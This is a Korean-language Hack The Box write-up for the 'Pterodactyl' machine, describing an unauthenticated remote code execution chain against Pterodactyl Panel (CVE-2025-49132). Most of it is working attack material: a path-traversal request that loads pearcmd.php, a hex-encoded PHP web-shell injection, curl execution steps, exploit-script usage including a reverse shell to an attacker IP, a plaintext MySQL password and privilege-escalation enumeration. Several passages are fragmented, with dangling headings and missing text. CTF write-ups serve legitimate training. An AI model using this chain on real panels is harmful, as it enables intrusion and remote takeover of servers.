
HTB 시즌 10 - Pterodactyl 머신 라이트업
대상: Pterodactyl HTB 머신 (중간 난이도)
CVE: CVE-2025-49132
심각도: 치명적 (CVSS 9.8)
공격 유형: 인증되지 않은 원격 코드 실행
영향: Pterodactyl 패널 < v1.11.11
이 익스플로잇 체인은 다음을 결합합니다:
Pterodactyl 패널의 /locales/locale.json 엔드포인트는 locale 매개변수를 통한 경로 탐색을 허용합니다:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
이는 PEAR의 pearcmd.php와 연결하여 다음을 수행할 수 있습니다:
/tmp에 작성PEAR(PHP 확장 및 애플리케이션 저장소) 에는 다음과 같은 CLI 도구(pearcmd.php)가 있습니다:
config-create 명령이 있습니다익스플로잇 체인:
Path Traversal → Load pearcmd.php → Inject PHP via config-create → Execute malicious PHP
명령은 hex2bin()을 사용하여 16진수로 인코딩되어 다음을 우회합니다:
예시:
Command: whoami
Hex: 77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>
방법 1: 제공된 exploit.sh 사용
chmod +x exploit.sh
# Get user flag
./exploit.sh flag
# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Reverse shell
nc -lvnp 4444 # On attacker machine
./exploit.sh shell 10.10.14.21 4444
방법 2: 수동 익스플로잇
# Step 1: Write PHP shell (hex-encoded "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"
# Step 2: Execute
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"
방법 3: Python 스크립트
I added exploit.py
**Install requests**
모든 기능을 갖춘 bash 익스플로잇
./exploit.sh cmd "whoami" # Execute single command
./exploit.sh shell 10.10.14.21 4444 # Reverse shell
./exploit.sh flag # Find user flag
기능:
포괄적인 기술 문서
포함 내용:
# 1. Add to /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts
# 2. Download exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh
# 3. Get shell
nc -lvnp 4444 # Terminal 1
./exploit.sh shell 10.10.14.21 4444 # Terminal 2
# 4. Get user flag
cat /home/phileasfogg3/user.txt
# Check running services
ss -tlnp
# Found:
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25 - Postfix
# Check sudo
sudo -l
# (Likely requires password)
# SUID binaries
find / -perm -4000 2>/dev/null
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
mysql -u pterodactyl -pPteraPanel
# Check for UDF injection, file write perms
# Check for FPM exploitation (CVE-2019-11043 or config abuse)
# Check for auth bypass, RCE via cron
redis-cli -h 127.0.0.1
find /etc/cron* -writable 2>/dev/null
uname -a
# Check for DirtyCow, etc.